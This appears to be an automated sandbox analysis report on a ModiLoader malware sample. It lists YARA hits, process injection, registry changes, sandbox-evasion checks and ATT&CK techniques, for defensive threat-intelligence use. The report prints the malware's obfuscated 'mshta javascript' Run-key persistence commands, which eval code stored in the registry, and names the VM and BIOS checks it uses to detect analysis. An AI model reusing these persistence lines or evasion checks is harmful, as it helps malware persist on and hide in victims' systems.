modiloader | 2ca45843fa315e3630488024224f89bc5243cef81ba2425b46ee1ba5fd7c65bf

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	dllhost.exe

ModiLoader Second Stage 46 IoCs

resource	yara_rule
behavioral1/memory/2332-6-0x0000000000400000-0x0000000000487000-memory.dmp	modiloader_stage2
behavioral1/memory/2332-8-0x0000000000050000-0x0000000000114000-memory.dmp	modiloader_stage2
behavioral1/memory/2332-11-0x0000000000400000-0x0000000000487000-memory.dmp	modiloader_stage2
behavioral1/memory/2332-10-0x0000000000050000-0x0000000000114000-memory.dmp	modiloader_stage2
behavioral1/memory/2916-13-0x0000000000120000-0x00000000001E4000-memory.dmp	modiloader_stage2
behavioral1/memory/2916-15-0x0000000000120000-0x00000000001E4000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-23-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-18-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-22-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-21-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-20-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-19-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-25-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-24-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-26-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-27-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-28-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2784-30-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2
behavioral1/memory/2784-35-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2
behavioral1/memory/2784-34-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2
behavioral1/memory/2784-33-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2
behavioral1/memory/2784-32-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2
behavioral1/memory/2784-31-0x00000000000B0000-0x0000000000174000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-38-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-44-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-42-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-41-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-40-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-37-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-36-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2624-47-0x0000000000080000-0x0000000000144000-memory.dmp	modiloader_stage2
behavioral1/memory/2624-46-0x0000000000080000-0x0000000000144000-memory.dmp	modiloader_stage2
behavioral1/memory/2624-50-0x0000000000080000-0x0000000000144000-memory.dmp	modiloader_stage2
behavioral1/memory/2624-48-0x0000000000080000-0x0000000000144000-memory.dmp	modiloader_stage2
behavioral1/memory/2624-49-0x0000000000080000-0x0000000000144000-memory.dmp	modiloader_stage2
behavioral1/memory/2624-53-0x0000000000080000-0x0000000000144000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-66-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-67-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-65-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-64-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-63-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-62-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-61-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-68-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-70-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2
behavioral1/memory/2264-71-0x0000000000070000-0x0000000000134000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:Mk3HOwTR=\"41OLJHV\";ub53=new%20ActiveXObject(\"WScript.Shell\");u5LOkgi1Z=\"us8181Wh\";jrlb4=ub53.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\dce1259f\\\\0309169f\");HZ6VhcA=\"Q9hR6dd1\";eval(jrlb4);uxlrgJh4s=\"LU\";"	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	dllhost.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	dllhost.exe

Deletes itself 1 IoCs

pid	Process
2264	dllhost.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:FFmidDJ8G=\"vhLCxD\";P83W=new%20ActiveXObject(\"WScript.Shell\");UfGAStwz3=\"idIzJSdVLH\";szYk3=P83W.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\dce1259f\\\\0309169f\");wIY5YKP2I=\"3jVo7\";eval(szYk3);DMT1riCg5=\"KGSfl\";"	dllhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:g8UnOTZ7Od=\"X0XX\";L59U=new%20ActiveXObject(\"WScript.Shell\");TA9iela=\"O\";Rp2Eq=L59U.RegRead(\"HKCU\\\\software\\\\dce1259f\\\\0309169f\");eOyh7pFK=\"3\";eval(Rp2Eq);v4rs0wCg=\"eUqF\";"	dllhost.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	dllhost.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	dllhost.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Modifies Internet Explorer settings 1 TTPs 10 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\International	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\dllhost.exe = "0"	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	dllhost.exe
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\explorer.exe = "0"	dllhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	dllhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe

Suspicious behavior: MapViewOfSection 12 IoCs

pid	Process
2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe
2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe
2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe
2916	dllhost.exe
2916	dllhost.exe
2916	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe
2264	dllhost.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe
2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe

Suspicious use of SendNotifyMessage 2 IoCs

pid	Process
2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe
2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2332 wrote to memory of 2916	2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe	31
PID 2332 wrote to memory of 2916	2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe	31
PID 2332 wrote to memory of 2916	2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe	31
PID 2332 wrote to memory of 2916	2332	JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe	31
PID 2916 wrote to memory of 2264	2916	dllhost.exe	32
PID 2916 wrote to memory of 2264	2916	dllhost.exe	32
PID 2916 wrote to memory of 2264	2916	dllhost.exe	32
PID 2916 wrote to memory of 2264	2916	dllhost.exe	32
PID 2264 wrote to memory of 2784	2264	dllhost.exe	33
PID 2264 wrote to memory of 2784	2264	dllhost.exe	33
PID 2264 wrote to memory of 2784	2264	dllhost.exe	33
PID 2264 wrote to memory of 2784	2264	dllhost.exe	33
PID 2264 wrote to memory of 2624	2264	dllhost.exe	34
PID 2264 wrote to memory of 2624	2264	dllhost.exe	34
PID 2264 wrote to memory of 2624	2264	dllhost.exe	34
PID 2264 wrote to memory of 2624	2264	dllhost.exe	34

C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe
"C:\Users\Admin\AppData\Local\Temp\JaffaCakes118_7677a6af02db7d0acb03814dc3a82480.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Windows\SysWOW64\dllhost.exe
  dllhost.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:2916
- - C:\Windows\SysWOW64\dllhost.exe
    dllhost.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\Windows\SysWOW64\dllhost.exe
      "C:\Windows\SysWOW64\dllhost.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2784
  - - C:\Windows\SysWOW64\explorer.exe
      explorer.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:2624

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion